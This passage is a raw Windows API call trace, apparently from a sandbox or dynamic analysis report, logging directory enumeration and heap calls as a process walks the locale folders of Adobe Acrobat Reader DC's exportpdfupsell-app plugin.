ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0252.795] GetProcessHeap () returned 0xc10000 [0252.795] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.796] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.797] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0252.797] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.797] GetProcessHeap () returned 0xc10000 [0252.797] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.797] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0252.797] GetProcessHeap () returned 0xc10000 [0252.798] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.798] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0252.799] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.799] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.799] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.799] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0252.800] GetProcessHeap () returned 0xc10000 [0252.800] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.800] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0252.800] GetProcessHeap () returned 0xc10000 [0252.800] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.800] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.801] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.802] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.802] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.802] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.802] GetProcessHeap () returned 0xc10000 [0252.802] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.802] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0252.802] GetProcessHeap () returned 0xc10000 [0252.803] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.803] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.804] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.804] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.805] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x498, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.805] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.805] GetProcessHeap () returned 0xc10000 [0252.805] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.805] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0252.805] GetProcessHeap () returned 0xc10000 [0252.805] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0252.807] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.807] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.807] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.807] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0252.807] GetProcessHeap () returned 0xc10000 [0252.807] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.807] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0252.807] GetProcessHeap () returned 0xc10000 [0252.807] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.809] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.809] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.810] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.810] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.810] GetProcessHeap () returned 0xc10000 [0252.810] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.810] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0252.810] GetProcessHeap () returned 0xc10000 [0252.810] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.811] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0252.811] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.811] GetProcessHeap () returned 0xc10000 [0252.811] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.811] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0252.811] GetProcessHeap () returned 0xc10000 [0252.811] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.813] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.813] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.813] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.813] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.813] GetProcessHeap () returned 0xc10000 [0252.813] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.813] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0252.813] GetProcessHeap () returned 0xc10000 [0252.814] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: 